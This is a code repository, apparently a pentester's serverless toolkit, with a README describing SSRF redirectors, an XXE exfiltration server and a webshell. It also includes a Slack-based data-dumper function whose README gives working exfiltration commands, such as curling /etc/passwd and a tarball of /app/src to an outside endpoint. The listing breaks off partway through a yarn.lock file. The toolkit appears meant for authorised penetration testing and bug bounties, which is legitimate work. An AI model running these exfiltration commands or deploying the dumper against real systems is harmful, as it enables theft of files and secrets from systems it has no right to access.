├── .gitignore ├── README.md ├── datadump ├── README.md ├── index.js ├── now.json ├── package.json └── yarn.lock ├── gopher_redirect ├── README.md ├── index.js ├── now.json ├── package.json └── redirect_request.req ├── imgs ├── gotty.png ├── massdns_serverless.png ├── nmap_serverless.png ├── req_dump.png ├── serverless_dumper_passwd.png ├── slack_tarball_dump.png ├── ssrf_notify_get.png ├── ssrf_notify_post.png ├── xxeserver_data.png └── xxeserver_get_dtd.png ├── massdns ├── .dockerignore ├── Dockerfile ├── README.md ├── now.json ├── package.json └── server.js ├── nmap_scan ├── Dockerfile ├── README.md ├── index.js ├── now.json ├── package-lock.json └── package.json ├── req_dump ├── .gitignore ├── README.md ├── index.js ├── now.json ├── package-lock.json └── package.json ├── simple_redirect ├── README.md ├── index.js ├── now.json ├── package-lock.json └── package.json ├── ssrf_slack ├── README.md ├── index.js ├── now.json ├── package-lock.json └── package.json ├── static_example ├── .nowignore ├── README.md ├── alert.js ├── external.dtd └── messagebox.ps1 ├── webshell ├── Dockerfile ├── README.md ├── now.json └── run.sh └── xxe_server ├── .npmignore ├── README.md ├── index.js ├── now.json ├── package-lock.json ├── package.json └── templates ├── dtd.hbs ├── dtd_php_file.hbs └── dtd_with_file.hbs /.gitignore: -------------------------------------------------------------------------------- 1 | # Logs 2 | logs 3 | *.log 4 | npm-debug.log* 5 | yarn-debug.log* 6 | yarn-error.log* 7 | 8 | # Runtime data 9 | pids 10 | *.pid 11 | *.seed 12 | *.pid.lock 13 | 14 | # Directory for instrumented libs generated by jscoverage/JSCover 15 | lib-cov 16 | 17 | # Coverage directory used by tools like istanbul 18 | coverage 19 | 20 | # nyc test coverage 21 | .nyc_output 22 | 23 | # Grunt intermediate storage (https://gruntjs.com/creating-plugins#storing-task-files) 24 | .grunt 25 | 26 | # Bower dependency directory (https://bower.io/) 27 | bower_components 28 | 29 | # node-waf configuration 30 | .lock-wscript 31 | 32 | # Compiled binary addons (https://nodejs.org/api/addons.html) 33 | build/Release 34 | 35 | # Dependency directories 36 | node_modules/ 37 | jspm_packages/ 38 | 39 | # TypeScript v1 declaration files 40 | typings/ 41 | 42 | # Optional npm cache directory 43 | .npm 44 | 45 | # Optional eslint cache 46 | .eslintcache 47 | 48 | # Optional REPL history 49 | .node_repl_history 50 | 51 | # Output of 'npm pack' 52 | *.tgz 53 | 54 | # Yarn Integrity file 55 | .yarn-integrity 56 | 57 | # dotenv environment variables file 58 | .env 59 | 60 | # parcel-bundler cache (https://parceljs.org/) 61 | .cache 62 | 63 | # next.js build output 64 | .next 65 | 66 | # nuxt.js build output 67 | .nuxt 68 | 69 | # vuepress build output 70 | .vuepress/dist 71 | 72 | # Serverless directories 73 | .serverless 74 | 75 | # FuseBox cache 76 | .fusebox/ 77 | 78 | .DS_Store 79 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Serverless Toolkit for Pentesters 2 | This repository is a collection of serverless functions I have developed over the past few months doing bug bounties and penetration tests. I found myself constantly spinning up disposable VPSs to run tiny snippets of code or host some static resources and I got sick of wasting resources and managing that infrastructure to just run a simple command. 3 | 4 | All of these examples were written to make use of Zeit's awesome [now.sh](https://zeit.co/now). While I've used other providers like AWS Lambda and Google Cloud Functions (including the really cool [serverless toolkit](https://serverless.com/)), I found that now.sh was the most straightforward and allowed custom Dockerfiles to be executed. Zeit recently rolled out [Now 2.0](https://zeit.co/blog/now-2) which actually breaks a lot of these, so the version is pinned to 1.0 for each of these deployments. 5 | 6 | For more information and background, see the related blogpost: https://blog.ropnop.com/serverless-toolkit-for-pentesters/ 7 | 8 | -ropnop 9 | 10 | ### Now V2 11 | Since the initial release of this toolkit, Now V2 is now the default and V1 is no longer supported for new accounts. I have updated all the functions to support NowV2, but unfortunately `massdns`, `nmap_scan` and `webshell` no longer work with the new builders in NowV2. 12 | 13 | ## List of Functions 14 | Each function contains more information on how to install and use. The following functions are included: 15 | 16 | ### Static Example 17 | This is useful for the times it's necessary to quickly host a CSRF payload, malicious JavaScript file, or something else on the internet, behind a fully trusted HTTPS certificate. 18 | 19 | ### Simple Redirect 20 | This function takes a redirect URL as an environment variable and simply redirects any incoming request to it. Useful for some edge cases when testing for SSRF 21 | 22 | ### Gopher Redirect 23 | Similar to above, this function redirects to the Gopher protocol. It reads raw data from a file and constructs a Gopher URL. This can be used to redirect a GET request to a POST request including data. 24 | 25 | ### Req Dump 26 | This function simply dumps the incoming request to a JSON response. Useful for when you want to see what a request entails without having to capture it in Burp 27 | 28 | ![req_dump](./imgs/req_dump.png) 29 | 30 | ### SSRF Slack 31 | This function dumps incoming requests to a Slack webhook. Very useful for when testing SSRF or Blind XSS. It's possible to embed this URL in various places and be automatically notified if/when any server makes a request to it via Slack 32 | 33 | ![ssrf_notify_get](./imgs/ssrf_notify_post.png) 34 | 35 | ### Slack Data Dumper 36 | This function takes any raw binary POSTed to it and uploads it via the Slack API, then alerts a channel with the new file. The filename is derived from whatever path you POST to. This is really useful for quick data exfiltration during post-exploitation, as you can just use curl with `-data-binary` on a file to your serverless function and get the file contents in your Slack workspace. 37 | 38 | ![slack_data_dumper](./imgs/slack_tarball_dump.png) 39 | 40 | ### XXE Server 41 | This function spins up a server to help with XXE OOB exfiltration. It's inspired by my other project, [xxetimes](https://github.com/ropnop/xxetimes). The server listens on `/dtd` and serves up a custom DTD file with nested entities to exfiltrate data over HTTP back to itself. It accepts a `filename` parameter to generate a specific file entity (otherwise it has be specified elswhere in the XML). When the server gets data back, it dumps it to Slack. 42 | 43 | There are also options when targeting PHP to base64 encode/decode the data. 44 | 45 | ![xxe_server_dtd](./imgs/xxeserver_get_dtd.png) 46 | 47 | ![xxe_server_data](./imgs/xxeserver_data.png) 48 | 49 | ### Nmap Scanner 50 | This example function shows how it's possible to run arbitrary binaries in Docker containers with serverless functions by capturing stdout with Express. This function simply runs an nmap scan with the `-F -Pn -sT` options against a target. It can be useful to quickly see if a port is open from an external or different IP address than where you are testing. 51 | 52 | ![nmap_serverless](./imgs/nmap_serverless.png) 53 | 54 | ### MassDNS 55 | Similar to the nmap example, this runs [massdns](https://github.com/blechschmidt/massdns) in a serverless Docker container. It accepts a newline separated list of domains in the POST body and runs massdns agaisnt them, returning results in JSON. 56 | 57 | ![massdns_serverless](./imgs/massdns_serverless.png) 58 | 59 | ### Webshell 60 | Someteimes you just want a shell. This uses gotty ontop of an Alpine base image with a few other extra pentester tools (nmap, ncat, etc). You can specify credentials in `username:password` format with the `GOTTY_CREDENTIALS` environment variable if you want. 61 | 62 | ![gotty](./imgs/gotty.png) 63 | 64 | 65 | # Next Steps 66 | As I continue to play with serverless more I'll keep this updated. PR's and suggestions welcome! 67 | 68 | With Zeit's move to Now 2.0, I fear that some of these may not be possible in the nearish future, so eventually I'll look at migrating to AWS or Google Cloud and seeing what's possible there 69 | 70 | Enjoy! 71 | ropnop 72 | 73 | 74 | -------------------------------------------------------------------------------- /datadump/README.md: -------------------------------------------------------------------------------- 1 | # Data Dumper 2 | This serverless function takes any data sent to it in a POST body request and writes to a file in Slack using the [Slack Files Upoad API](https://api.slack.com/methods/files.upload). A message is then sent to the channel with the uploaded file. 3 | 4 | For convenience, the function takes whatever path you POST to and uses that as as the filename for the uploaded paht. If the data is POSTed to the `/` path, a UUID is generated instead. 5 | 6 | ## Deployment 7 | This function requres two environment variables: 8 | 9 | * `SLACK_TOKEN` - An OAuth Access token for your Slack App. The app also needs the necessary permissions, including the "Upload and modify files as user" scope. 10 | * `SLACK_CHANNEL` - the Channel ID to post the message to 11 | 12 | I recommend using Now's secrets to store these values. The function is configured to look for the secrets `slack-token` and `slack-channel`. To deploy the function: 13 | 14 | ``` 15 | $ now secrets add slack-token "xxxx-token-here" 16 | $ now secrets add slack-channel "Cxxxxx" 17 | $ now 18 | ``` 19 | 20 | ## Usage 21 | The function reads any raw POST body data and uploads is a file. It's generally designed to be used with `curl --data-binary` from the command line. 22 | 23 | You can control the filename by changing the path you POST to. 24 | 25 | For example, to exfiltrate `/etc/passwd` when you have a shell or command injection: 26 | 27 | ``` 28 | $ curl --data-binary @/etc/passwd https://datadump-slack-ogfklyqrmv.now.sh/passwd_file 29 | ``` 30 | 31 | This will upload the file and alert the channel in Slack with the file 32 | 33 | ![dump_passwd_file](../imgs/serverless_dumper_passwd.png) 34 | 35 | It's also possible to upload with curl from `stdin`, so you can chain commands together and exfiltrate entire directories using tar: 36 | 37 | ``` 38 | $ tar czf - /app/src | curl --data-binary @- https://datadump-slack-ogfklyqrmv.now.sh/app_src123.tar.gz 39 | ``` 40 | ![slacK_tarball_dump](../imgs/slack_tarball_dump.png) 41 | -------------------------------------------------------------------------------- /datadump/index.js: -------------------------------------------------------------------------------- 1 | const express = require('express'); 2 | const rawBody = require('raw-body'); 3 | const requestIp = require('request-ip'); 4 | const uuidv4 = require('uuid/v4'); 5 | const { WebClient } = require('@slack/client'); 6 | 7 | const SLACK_TOKEN = process.env.SLACK_TOKEN; 8 | const SLACK_CHANNEL = process.env.SLACK_CHANNEL; 9 | 10 | if (!SLACK_TOKEN || !SLACK_CHANNEL) { 11 | throw new Error("Must provide Slack API token and Channel ID"); 12 | } 13 | 14 | const web = new WebClient(SLACK_TOKEN); 15 | 16 | const app = express(); 17 | 18 | const ipMiddleware = (req, res, next) => { 19 | // let clientIp; 20 | if (req.header('cf-connecting-ip')){ 21 | req.clientIp = req.header('cf-connecting-ip'); // I want to always give priority to this header 22 | } else { 23 | req.clientIp = requestIp.getClientIp(req); // if it's not there then fall back 24 | } 25 | next(); 26 | }; 27 | 28 | const filenameMiddleware = (req, res, next) => { 29 | // if a path is scpecified, that will be the filename, otherwise it will be a uuid 30 | // this lets you quickly define a memorable filename if you want by just choosing where to POST 31 | let filename; 32 | if (req.path.length > 1) { 33 | req.filename = encodeURIComponent(req.path.slice(1)); 34 | } else { 35 | req.filename = uuidv4(); 36 | } 37 | next(); 38 | } 39 | 40 | app.use(ipMiddleware); 41 | app.use(filenameMiddleware); 42 | 43 | // Modify this function to customize the slack message to your liking 44 | const renderSlackComment = (data) => { 45 | return ` 46 | *New Request To:* \`${data.host}${data.url}\` 47 | *Request From:* \`${data.ip}\` 48 | *Time (UTC):* \`${data.timestamp}\` 49 | *Filename: * \`${data.filename}\` 50 | ` 51 | } 52 | 53 | app.post('*', async (req, res) => { 54 | // if path is specified, make that the filename, else a uuid 55 | const now = new Date(); 56 | const bodyData = await rawBody(req); 57 | const data = { 58 | host: req.headers.host, 59 | url: req.url, 60 | ip: req.clientIp, 61 | timestamp: now.toISOString(), 62 | filename: req.filename 63 | }; 64 | const slackComment = renderSlackComment(data); 65 | try { 66 | await web.files.upload({ 67 | filename: data.filename, 68 | file: bodyData, 69 | initial_comment: slackComment, 70 | channels: SLACK_CHANNEL 71 | }); 72 | res.end(); 73 | } catch (err) { 74 | console.log(JSON.stringify(err)); 75 | res.end(); 76 | } 77 | }); 78 | 79 | module.exports = app; -------------------------------------------------------------------------------- /datadump/now.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": 2, 3 | "name": "datadump-slack", 4 | "builds": [ 5 | { 6 | "src": "index.js", 7 | "use": "@now/node" 8 | } 9 | ], 10 | "routes": [ 11 | { "src": "(.*)", "dest": "index.js"} 12 | ], 13 | "env": { 14 | "SLACK_TOKEN": "@slack-token", 15 | "SLACK_CHANNEL": "@slack-channel" 16 | } 17 | } -------------------------------------------------------------------------------- /datadump/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "datadump-slack", 3 | "version": "1.0.0", 4 | "description": "Serverless function to dump POST body data to slack", 5 | "main": "server.js", 6 | "scripts": { 7 | "test": "echo \"Error: no test specified\" && exit 1", 8 | "start": "node server.js" 9 | }, 10 | "author": "Ronnie Flathers (@ropnop)", 11 | "license": "ISC", 12 | "dependencies": { 13 | "@slack/client": "^4.8.0", 14 | "express": "^4.16.4", 15 | "raw-body": "^2.3.3", 16 | "request-ip": "^2.1.1", 17 | "uuid": "^3.3.2" 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /datadump/yarn.lock: -------------------------------------------------------------------------------- 1 | # THIS IS AN AUTOGENERATED FILE. DO NOT EDIT THIS FILE DIRECTLY. 2 | # yarn lockfile v1 3 | 4 | 5 | "@slack/client@^4.8.0": 6 | version "4.8.0" 7 | resolved "https://registry.yarnpkg.com/@slack/client/-/client-4.8.0.tgz#265606f1cebae1d72f3fdd2cdf7cf1510783dde4" 8 | integrity sha512-c4PKsRMtTp3QVYg+6cNqqxbU/50gnYfMlZgPCGUuMDMm9mkx50y0PEuERcVyLIe5j61imrhQx9DoNIfybEhTTw== 9 | dependencies: 10 | "@types/form-data" "^2.2.1" 11 | "@types/is-stream" "^1.1.0" 12 | "@types/loglevel" "^1.5.3" 13 | "@types/node" ">=6.0.0" 14 | "@types/p-cancelable" "^0.3.0" 15 | "@types/p-queue" "^2.3.1" 16 | "@types/p-retry" "^1.0.1" 17 | "@types/retry" "^0.10.2" 18 | "@types/ws" "^5.1.1" 19 | axios "^0.18.0" 20 | eventemitter3 "^3.0.0" 21 | finity "^0.5.4" 22 | form-data "^2.3.1" 23 | is-stream "^1.1.0" 24 | loglevel "^1.6.1" 25 | object.entries "^1.0.4" 26 | object.getownpropertydescriptors "^2.0.3" 27 | object.values "^1.0.4" 28 | p-cancelable "^0.3.0" 29 | p-queue "^2.3.0" 30 | p-retry "^2.0.0" 31 | retry "^0.12.0" 32 | ws "^5.2.0" 33 | 34 | "@types/events@*": 35 | version "1.2.0" 36 | resolved "https://registry.yarnpkg.com/@types/events/-/events-1.2.0.tgz#81a6731ce4df43619e5c8c945383b3e62a89ea86" 37 | integrity sha512-KEIlhXnIutzKwRbQkGWb/I4HFqBuUykAdHgDED6xqwXJfONCjF5VoE0cXEiurh3XauygxzeDzgtXUqvLkxFzzA== 38 | 39 | "@types/form-data@^2.2.1": 40 | version "2.2.1" 41 | resolved "https://registry.yarnpkg.com/@types/form-data/-/form-data-2.2.1.tgz#ee2b3b8eaa11c0938289953606b745b738c54b1e" 42 | integrity sha512-JAMFhOaHIciYVh8fb5/83nmuO/AHwmto+Hq7a9y8FzLDcC1KCU344XDOMEmahnrTFlHjgh4L0WJFczNIX2GxnQ== 43 | dependencies: 44 | "@types/node" "*" 45 | 46 | "@types/is-stream@^1.1.0": 47 | version "1.1.0" 48 | resolved "https://registry.yarnpkg.com/@types/is-stream/-/is-stream-1.1.0.tgz#b84d7bb207a210f2af9bed431dc0fbe9c4143be1" 49 | integrity sha512-jkZatu4QVbR60mpIzjINmtS1ZF4a/FqdTUTBeQDVOQ2PYyidtwFKr0B5G6ERukKwliq+7mIXvxyppwzG5EgRYg== 50 | dependencies: 51 | "@types/node" "*" 52 | 53 | "@types/loglevel@^1.5.3": 54 | version "1.5.3" 55 | resolved "https://registry.yarnpkg.com/@types/loglevel/-/loglevel-1.5.3.tgz#adfce55383edc5998a2170ad581b3e23d6adb5b8" 56 | integrity sha512-TzzIZihV+y9kxSg5xJMkyIkaoGkXi50isZTtGHObNHRqAAwjGNjSCNPI7AUAv0tZUKTq9f2cdkCUd/2JVZUTrA== 57 | 58 | "@types/node@*", "@types/node@>=6.0.0": 59 | version "10.12.9" 60 | resolved "https://registry.yarnpkg.com/@types/node/-/node-10.12.9.tgz#a07bfa74331471e1dc22a47eb72026843f7b95c8" 61 | integrity sha512-eajkMXG812/w3w4a1OcBlaTwsFPO5F7fJ/amy+tieQxEMWBlbV1JGSjkFM+zkHNf81Cad+dfIRA+IBkvmvdAeA== 62 | 63 | "@types/p-cancelable@^0.3.0": 64 | version "0.3.0" 65 | resolved "https://registry.yarnpkg.com/@types/p-cancelable/-/p-cancelable-0.3.0.tgz#3e4fcc54a3dfd81d0f5b93546bb68d0df50553bb" 66 | integrity sha512-sP+9Ivnpil7cdmvr5O+145aXm65YX8Y+Lrul1ojdYz6yaE05Dqonn6Z9v5eqJCQ0UeSGcTRtepMlZDh9ywdKgw== 67 | 68 | "@types/p-queue@^2.3.1": 69 | version "2.3.2" 70 | resolved "https://registry.yarnpkg.com/@types/p-queue/-/p-queue-2.3.2.tgz#16bc5fece69ef85efaf2bce8b13f3ebe39c5a1c8" 71 | integrity sha512-eKAv5Ql6k78dh3ULCsSBxX6bFNuGjTmof5Q/T6PiECDq0Yf8IIn46jCyp3RJvCi8owaEmm3DZH1PEImjBMd/vQ== 72 | 73 | "@types/p-retry@^1.0.1": 74 | version "1.0.1" 75 | resolved "https://registry.yarnpkg.com/@types/p-retry/-/p-retry-1.0.1.tgz#2302bc3da425014208c8a9b68293d37325124785" 76 | integrity sha512-HgQPG9kkUb4EpTeUv2taH2nBZsVUb5aOTSw3X2YozcTG1ttmGcLaLKx1MbAz1evVfUEDTCAPmdz2HiFztIyWrw== 77 | dependencies: 78 | "@types/retry" "*" 79 | 80 | "@types/retry@*", "@types/retry@^0.10.2": 81 | version "0.10.2" 82 | resolved "https://registry.yarnpkg.com/@types/retry/-/retry-0.10.2.tgz#bd1740c4ad51966609b058803ee6874577848b37" 83 | integrity sha512-LqJkY4VQ7S09XhI7kA3ON71AxauROhSv74639VsNXC9ish4IWHnIi98if+nP1MxQV3RMPqXSCYgpPsDHjlg9UQ== 84 | 85 | "@types/ws@^5.1.1": 86 | version "5.1.2" 87 | resolved "https://registry.yarnpkg.com/@types/ws/-/ws-5.1.2.tgz#f02d3b1cd46db7686734f3ce83bdf46c49decd64" 88 | integrity sha512-NkTXUKTYdXdnPE2aUUbGOXE1XfMK527SCvU/9bj86kyFF6kZ9ZnOQ3mK5jADn98Y2vEUD/7wKDgZa7Qst2wYOg== 89 | dependencies: 90 | "@types/events" "*" 91 | "@types/node" "*" 92 | 93 | accepts@~1.3.5: 94 | version "1.3.5" 95 | resolved "https://registry.yarnpkg.com/accepts/-/accepts-1.3.5.tgz#eb777df6011723a3b14e8a72c0805c8e86746bd2" 96 | integrity sha1-63d99gEXI6OxTopywIBcjoZ0a9I= 97 | dependencies: 98 | mime-types "~2.1.18" 99 | negotiator "0.6.1" 100 | 101 | array-flatten@1.1.1: 102 | version "1.1.1" 103 | resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-1.1.1.tgz#9a5f699051b1e7073328f2a008968b64ea2955d2" 104 | integrity sha1-ml9pkFGx5wczKPKgCJaLZOopVdI= 105 | 106 | async-limiter@~1.0.0: 107 | version "1.0.0" 108 | resolved "https://registry.yarnpkg.com/async-limiter/-/async-limiter-1.0.0.tgz#78faed8c3d074ab81f22b4e985d79e8738f720f8" 109 | integrity sha512-jp/uFnooOiO+L211eZOoSyzpOITMXx1rBITauYykG3BRYPu8h0UcxsPNB04RR5vo4Tyz3+ay17tR6JVf9qzYWg== 110 | 111 | asynckit@^0.4.0: 112 | version "0.4.0" 113 | resolved "https://registry.yarnpkg.com/asynckit/-/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79" 114 | integrity sha1-x57Zf380y48robyXkLzDZkdLS3k= 115 | 116 | axios@^0.18.0: 117 | version "0.18.1" 118 | resolved "https://registry.yarnpkg.com/axios/-/axios-0.18.1.tgz#ff3f0de2e7b5d180e757ad98000f1081b87bcea3" 119 | integrity sha512-0BfJq4NSfQXd+SkFdrvFbG7addhYSBA2mQwISr46pD6E5iqkWg02RAs8vyTT/j0RTnoYmeXauBuSv1qKwR179g== 120 | dependencies: 121 | follow-redirects "1.5.10" 122 | is-buffer "^2.0.2" 123 | 124 | body-parser@1.18.3: 125 | version "1.18.3" 126 | resolved "https://registry.yarnpkg.com/body-parser/-/body-parser-1.18.3.tgz#5b292198ffdd553b3a0f20ded0592b956955c8b4" 127 | integrity sha1-WykhmP/dVTs6DyDe0FkrlWlVyLQ= 128 | dependencies: 129 | bytes "3.0.0" 130 | content-type "~1.0.4" 131 | debug "2.6.9" 132 | depd "~1.1.2" 133 | http-errors "~1.6.3" 134 | iconv-lite "0.4.23" 135 | on-finished "~2.3.0" 136 | qs "6.5.2" 137 | raw-body "2.3.3" 138 | type-is "~1.6.16" 139 | 140 | bytes@3.0.0: 141 | version "3.0.0" 142 | resolved "https://registry.yarnpkg.com/bytes/-/bytes-3.0.0.tgz#d32815404d689699f85a4ea4fa8755dd13a96048" 143 | integrity sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg= 144 | 145 | combined-stream@^1.0.6: 146 | version "1.0.7" 147 | resolved "https://registry.yarnpkg.com/combined-stream/-/combined-stream-1.0.7.tgz#2d1d24317afb8abe95d6d2c0b07b57813539d828" 148 | integrity sha512-brWl9y6vOB1xYPZcpZde3N9zDByXTosAeMDo4p1wzo6UMOX4vumB+TP1RZ76sfE6Md68Q0NJSrE/gbezd4Ul+w== 149 | dependencies: 150 | delayed-stream "~1.0.0" 151 | 152 | content-disposition@0.5.2: 153 | version "0.5.2" 154 | resolved "https://registry.yarnpkg.com/content-disposition/-/content-disposition-0.5.2.tgz#0cf68bb9ddf5f2be7961c3a85178cb85dba78cb4" 155 | integrity sha1-DPaLud318r55YcOoUXjLhdunjLQ= 156 | 157 | content-type@~1.0.4: 158 | version "1.0.4" 159 | resolved "https://registry.yarnpkg.com/content-type/-/content-type-1.0.4.tgz#e138cc75e040c727b1966fe5e5f8c9aee256fe3b" 160 | integrity sha512-hIP3EEPs8tB9AT1L+NUqtwOAps4mk2Zob89MWXMHjHWg9milF/j4osnnQLXBCBFBk/tvIG/tUc9mOUJiPBhPXA== 161 | 162 | cookie-signature@1.0.6: 163 | version "1.0.6" 164 | resolved "https://registry.yarnpkg.com/cookie-signature/-/cookie-signature-1.0.6.tgz#e303a882b342cc3ee8ca513a79999734dab3ae2c" 165 | integrity sha1-4wOogrNCzD7oylE6eZmXNNqzriw= 166 | 167 | cookie@0.3.1: 168 | version "0.3.1" 169 | resolved "https://registry.yarnpkg.com/cookie/-/cookie-0.3.1.tgz#e7e0a1f9ef43b4c8ba925c5c5a96e806d16873bb" 170 | integrity sha1-5+Ch+e9DtMi6klxcWpboBtFoc7s= 171 | 172 | debug@2.6.9: 173 | version "2.6.9" 174 | resolved "https://registry.yarnpkg.com/debug/-/debug-2.6.9.tgz#5d128515df134ff327e90a4c93f4e077a536341f" 175 | integrity sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA== 176 | dependencies: 177 | ms "2.0.0" 178 | 179 | debug@=3.1.0: 180 | version "3.1.0" 181 | resolved "https://registry.yarnpkg.com/debug/-/debug-3.1.0.tgz#5bb5a0672628b64149566ba16819e61518c67261" 182 | integrity sha512-OX8XqP7/1a9cqkxYw2yXss15f26NKWBpDXQd0/uK/KPqdQhxbPa994hnzjcE2VqQpDslf55723cKPUOGSmMY3g== 183 | dependencies: 184 | ms "2.0.0" 185 | 186 | define-properties@^1.1.2: 187 | version "1.1.3" 188 | resolved "https://registry.yarnpkg.com/define-properties/-/define-properties-1.1.3.tgz#cf88da6cbee26fe6db7094f61d870cbd84cee9f1" 189 | integrity sha512-3MqfYKj2lLzdMSf8ZIZE/V+Zuy+BgD6f164e8K2w7dgnpKArBDerGYpM46IYYcjnkdPNMjPk9A6VFB8+3SKlXQ== 190 | dependencies: 191 | object-keys "^1.0.12" 192 | 193 | delayed-stream@~1.0.0: 194 | version "1.0.0" 195 | resolved "https://registry.yarnpkg.com/delayed-stream/-/delayed-stream-1.0.0.tgz#df3ae199acadfb7d440aaae0b29e2272b24ec619" 196 | integrity sha1-3zrhmayt+31ECqrgsp4icrJOxhk= 197 | 198 | depd@~1.1.2: 199 | version "1.1.2" 200 | resolved "https://registry.yarnpkg.com/depd/-/depd-1.1.2.tgz#9bcd52e14c097763e749b274c4346ed2e560b5a9" 201 | integrity sha1-m81S4UwJd2PnSbJ0xDRu0uVgtak= 202 | 203 | destroy@~1.0.4: 204 | version "1.0.4" 205 | resolved "https://registry.yarnpkg.com/destroy/-/destroy-1.0.4.tgz#978857442c44749e4206613e37946205826abd80" 206 | integrity sha1-l4hXRCxEdJ5CBmE+N5RiBYJqvYA= 207 | 208 | ee-first@1.1.1: 209 | version "1.1.1" 210 | resolved "https://registry.yarnpkg.com/ee-first/-/ee-first-1.1.1.tgz#590c61156b0ae2f4f0255732a158b266bc56b21d" 211 | integrity sha1-WQxhFWsK4vTwJVcyoViyZrxWsh0= 212 | 213 | encodeurl@~1.0.2: 214 | version "1.0.2" 215 | resolved "https://registry.yarnpkg.com/encodeurl/-/encodeurl-1.0.2.tgz#ad3ff4c86ec2d029322f5a02c3a9a606c95b3f59" 216 | integrity sha1-rT/0yG7C0CkyL1oCw6mmBslbP1k= 217 | 218 | es-abstract@^1.5.1, es-abstract@^1.6.1: 219 | version "1.12.0" 220 | resolved "https://registry.yarnpkg.com/es-abstract/-/es-abstract-1.12.0.tgz#9dbbdd27c6856f0001421ca18782d786bf8a6165" 221 | integrity sha512-C8Fx/0jFmV5IPoMOFPA9P9G5NtqW+4cOPit3MIuvR2t7Ag2K15EJTpxnHAYTzL+aYQJIESYeXZmDBfOBE1HcpA== 222 | dependencies: 223 | es-to-primitive "^1.1.1" 224 | function-bind "^1.1.1" 225 | has "^1.0.1" 226 | is-callable "^1.1.3" 227 | is-regex "^1.0.4" 228 | 229 | es-to-primitive@^1.1.1: 230 | version "1.2.0" 231 | resolved "https://registry.yarnpkg.com/es-to-primitive/-/es-to-primitive-1.2.0.tgz#edf72478033456e8dda8ef09e00ad9650707f377" 232 | integrity sha512-qZryBOJjV//LaxLTV6UC//WewneB3LcXOL9NP++ozKVXsIIIpm/2c13UDiD9Jp2eThsecw9m3jPqDwTyobcdbg== 233 | dependencies: 234 | is-callable "^1.1.4" 235 | is-date-object "^1.0.1" 236 | is-symbol "^1.0.2" 237 | 238 | escape-html@~1.0.3: 239 | version "1.0.3" 240 | resolved "https://registry.yarnpkg.com/escape-html/-/escape-html-1.0.3.tgz#0258eae4d3d0c0974de1c169188ef0051d1d1988" 241 | integrity sha1-Aljq5NPQwJdN4cFpGI7wBR0dGYg= 242 | 243 | etag@~1.8.1: 244 | version "1.8.1" 245 | resolved "https://registry.yarnpkg.com/etag/-/etag-1.8.1.tgz#41ae2eeb65efa62268aebfea83ac7d79299b0887" 246 | integrity sha1-Qa4u62XvpiJorr/qg6x9eSmbCIc= 247 | 248 | eventemitter3@^3.0.0: 249 | version "3.1.0" 250 | resolved "https://registry.yarnpkg.com/eventemitter3/-/eventemitter3-3.1.0.tgz#090b4d6cdbd645ed10bf750d4b5407942d7ba163" 251 | integrity sha512-ivIvhpq/Y0uSjcHDcOIccjmYjGLcP09MFGE7ysAwkAvkXfpZlC985pH2/ui64DKazbTW/4kN3yqozUxlXzI6cA== 252 | 253 | express@^4.16.4: 254 | version "4.16.4" 255 | resolved "https://registry.yarnpkg.com/express/-/express-4.16.4.tgz#fddef61926109e24c515ea97fd2f1bdbf62df12e" 256 | integrity sha512-j12Uuyb4FMrd/qQAm6uCHAkPtO8FDTRJZBDd5D2KOL2eLaz1yUNdUB/NOIyq0iU4q4cFarsUCrnFDPBcnksuOg== 257 | dependencies: 258 | accepts "~1.3.5" 259 | array-flatten "1.1.1" 260 | body-parser "1.18.3" 261 | content-disposition "0.5.2" 262 | content-type "~1.0.4" 263 | cookie "0.3.1" 264 | cookie-signature "1.0.6" 265 | debug "2.6.9" 266 | depd "~1.1.2" 267 | encodeurl "~1.0.2" 268 | escape-html "~1.0.3" 269 | etag "~1.8.1" 270 | finalhandler "1.1.1" 271 | fresh "0.5.2" 272 | merge-descriptors "1.0.1" 273 | methods "~1.1.2" 274 | on-finished "~2.3.0" 275 | parseurl "~1.3.2" 276 | path-to-regexp "0.1.7" 277 | proxy-addr "~2.0.4" 278 | qs "6.5.2" 279 | range-parser "~1.2.0" 280 | safe-buffer "5.1.2" 281 | send "0.16.2" 282 | serve-static "1.13.2" 283 | setprototypeof "1.1.0" 284 | statuses "~1.4.0" 285 | type-is "~1.6.16" 286 | utils-merge "1.0.1" 287 | vary "~1.1.2" 288 | 289 | finalhandler@1.1.1: 290 | version "1.1.1" 291 | resolved "https://registry.yarnpkg.com/finalhandler/-/finalhandler-1.1.1.tgz#eebf4ed840079c83f4249038c9d703008301b105" 292 | integrity sha512-Y1GUDo39ez4aHAw7MysnUD5JzYX+WaIj8I57kO3aEPT1fFRL4sr7mjei97FgnwhAyyzRYmQZaTHb2+9uZ1dPtg== 293 | dependencies: 294 | debug "2.6.9" 295 | encodeurl "~1.0.2" 296 | escape-html "~1.0.3" 297 | on-finished "~2.3.0" 298 | parseurl "~1.3.2" 299 | statuses "~1.4.0" 300 | unpipe "~1.0.0" 301 | 302 | finity@^0.5.4: 303 | version "0.5.4" 304 | resolved "https://registry.yarnpkg.com/finity/-/finity-0.5.4.tgz#f2a8a9198e8286467328ec32c8bfcc19a2229c11" 305 | integrity sha512-3l+5/1tuw616Lgb0QBimxfdd2TqaDGpfCBpfX6EqtFmqUV3FtQnVEX4Aa62DagYEqnsTIjZcTfbq9msDbXYgyA== 306 | 307 | follow-redirects@1.5.10: 308 | version "1.5.10" 309 | resolved "https://registry.yarnpkg.com/follow-redirects/-/follow-redirects-1.5.10.tgz#7b7a9f9aea2fdff36786a94ff643ed07f4ff5e2a" 310 | integrity sha512-0V5l4Cizzvqt5D44aTXbFZz+FtyXV1vrDN6qrelxtfYQKW0KO0W2T/hkE8xvGa/540LkZlkaUjO4ailYTFtHVQ== 311 | dependencies: 312 | debug "=3.1.0" 313 | 314 | form-data@^2.3.1: 315 | version "2.3.3" 316 | resolved "https://registry.yarnpkg.com/form-data/-/form-data-2.3.3.tgz#dcce52c05f644f298c6a7ab936bd724ceffbf3a6" 317 | integrity 